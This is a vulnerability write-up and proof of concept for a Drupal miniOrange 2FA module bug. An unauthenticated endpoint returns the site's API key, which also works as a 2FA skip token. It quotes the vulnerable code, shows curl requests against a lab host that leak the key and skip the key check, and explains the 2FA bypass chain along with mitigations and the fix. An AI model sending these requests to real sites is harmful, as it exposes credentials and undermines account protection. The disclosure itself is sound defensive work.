
Proof-of-concept and write-up for CVE-2026-107268, an unauthenticated API key disclosure in the Drupal miniOrange 2FA module that can enable 2FA bypass.
| CVE | CVE-2026-107268 |
| Advisory | SA-CONTRIB-2026-207, published 2026-10-07 |
| Project | miniorange_2fa, "Two Factor Authentication - TFA / Passwordless Login" |
| Affected | < 5.4.1 and >= 5.5.0 < 5.5.2 |
| Fixed in | 5.4.1 on the 5.4.x branch, 5.5.2 on the 5.5.x branch |
| Drupal core | ^9.3 || ^10 || ^11 |
| Class | Information disclosure (CWE-200); the value exposed is a credential (CWE-522) |
| Risk, as Drupal scored it | Moderately critical, 12/25, AC:Basic/A:None/CI:Some/II:None/E:Theoretical/TD:Default |
| Reported by | Nam Nguyen Le Thanh (yuwkaa) |
| Verified on | Drupal 11.4.6, PHP 8.4.24, miniorange_2fa 5.5.1, 2026-09-09 |
Upgrade first, then rotate the key. The patch stops the endpoint handing the value out, but anything already read off a live site stays valid until it is replaced in the miniOrange dashboard.
The module registers /headless/login with _access: 'TRUE', so Drupal passes
every request straight to the controller without a permission check. The handler
compares the apiKey in the JSON body against the one stored in config, and when
they differ it answers HTTP 400 with the stored value included in the response
body as originalkey.
In 5.5.1, src/Controller/Miniorange2faController.php:
439 // If apiKey is included in the received credentials.
440 if (isset($jsonCredentials['apiKey']) && $apiKey !== $mo_db_values['mo_auth_customer_api_key']) {
441 $utilities->moAddLoggersForFailures('API authentication failed. Please send the correct apiKey: ' . $mo_db_values['mo_auth_customer_api_key'], 'error');
442 $json['username'] = $username;
443 $json['status'] = 'ERROR';
444 $json['message'] = 'Authentication failed';
445 $json['apiKey'] = $apiKey;
446 $json['originalkey'] = $mo_db_values['mo_auth_customer_api_key'];
447 $json = json_encode($json);
448 header("HTTP/1.1 400 Not Verified");
Line 446 is the disclosure. Line 441 writes the same value into the Drupal log on every failed attempt.
One request, no cookie, no account:
$ curl -s -i -X POST http://127.0.0.1:8082/headless/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","apiKey":"guess"}'
HTTP/1.1 400 Not Verified
Content-Type: application/json;charset=utf-8
{"username":"admin","status":"ERROR","message":"Authentication failed","apiKey":"guess","originalkey":"LAB-CUSTOMER-API-KEY-9f2c41"}
That is from the lab run on 2026-09-09, where the key had been set to
LAB-CUSTOMER-API-KEY-9f2c41 through the module's own admin UI.
The same config value is what the module accepts as its 2FA skip token.
MoAuthUtilities::moBackdoorLogin() compares the skip_2fa query parameter
against it and finalises the login without a second factor:
280 public static function moBackdoorLogin($user, $mo_db_values) {
281 $mo_auth_backdoor_enabled = $mo_db_values['mo_auth_enable_backdoor'];
282 $backdoor_url_query = $mo_db_values['mo_auth_customer_api_key'];
283 $query_parameters = \Drupal::request()->query->get('skip_2fa');
284 $is_backdoor_login = $mo_auth_backdoor_enabled && ($query_parameters === $backdoor_url_query);
285 if ($is_backdoor_login && ($user->hasRole('administrator') || $user->hasRole('admin'))) {
286 user_login_finalize($user);
and src/Form/MoAuthLoginSettings.php:305 prints exactly that URL to the
administrator who turns the feature on.
So on a site running both headless 2FA and backdoor login, somebody who already holds an administrator's password but is stopped at the second factor can read the token off an unauthenticated endpoint and get past it. Fed back into that comparison in the lab, the leaked value returned true for uid 1; a different value returned false.
The key is also the credential the module presents to Xecurify for the site's tenant, alongside the customer ID. Not tested against their API, so what it is worth there is read from the code, not measured.
The isset() in line 440 makes the whole comparison conditional on the caller
choosing to send the field. Leaving apiKey out of the body skips the check
instead of failing it. The status code is what shows it: 400 is the gate
rejecting a wrong key, 500 is the handler already past the gate and failing
later at the miniOrange API call.
$ curl -s -X POST .../headless/login -d '{"username":"admin","apiKey":"guess"}' -o /dev/null -w '%{http_code}'
400
$ curl -s -X POST .../headless/login -d '{"username":"admin"}' -o /dev/null -w '%{http_code}'
500
/headless/authenticate carries the identical gate at line 281, so the key check
is skippable there too, but that handler does not put the key in its response.
The things that keep this from being worse, so nobody has to go looking for them.
Headless 2FA has to be switched on first. There is no config/install default,
so the setting stays null until an administrator enables it, and there is no way
to tell from outside how many installs have. The attacker also needs the name of
an account that
exists: on an affected version user_load_by_name() runs before the key check,
and an unknown name means getEmail() on false, so the request errors out
rather than answering. The 2FA bypass leg needs backdoor login enabled as well,
plus the account's password already in hand. Reading the key on its own logs
nobody in.
This is not remote code execution, not privilege escalation by itself, and not an authentication bypass by itself.
Drupal's advisory gives the affected range as < 5.4.1 || >= 5.5.0 < 5.5.2. A recheck
of the boundaries against the tarballs on ftp.drupal.org on 2026-10-07, grepping
the controller for the disclosure and for the isset form of the gate:
| Release | Controller filename | originalkey | isset gate | hash_equals |
|---|---|---|---|---|
| 8.x-3.03 | miniorange_2faController.php | no | no | no |
| 8.x-3.04 | miniorange_2faController.php | yes | no | no |
| 8.x-4.2 | miniorange_2faController.php | yes | no | no |
| 8.x-4.3 | miniorange_2faController.php | yes | yes | no |
| 5.4.0 | miniorange_2faController.php | yes | yes | no |
| 5.4.1 | miniorange_2faController.php | no | no | yes |
| 5.5.1 | Miniorange2faController.php | yes | yes | no |
| 5.5.2 | Miniorange2faController.php | no | no | yes |
The disclosure first appears in 8.x-3.04, released 2022-05-04, and the isset
form of the gate arrives in 8.x-4.3, released 2022-11-14. Before those the
surrounding code is shaped differently. The Drupal 7 branch never had it.
Worth noting for anyone repeating this: the file is named
miniorange_2faController.php up to 5.4.x and Miniorange2faController.php from
5.5.0, so a case-sensitive filename match silently returns nothing on half the
corpus and reads like a clean negative. That happened once on this project.
The attack itself was run against 5.5.1 only. The rest of the table is source inspection.
5.5.2 and 5.4.1 rewrite the key check so it fails closed. A missing key, a
non-string key, an empty stored key and a mismatch are all rejected, the
comparison is hash_equals(), and the rejection response and log line no longer
name the key. The log keeps an eight-character digest of what was submitted so
failures stay diagnosable. The check also moved ahead of user_load_by_name(),
and the endpoint picked up Drupal's flood control, which it had been sidestepping
entirely.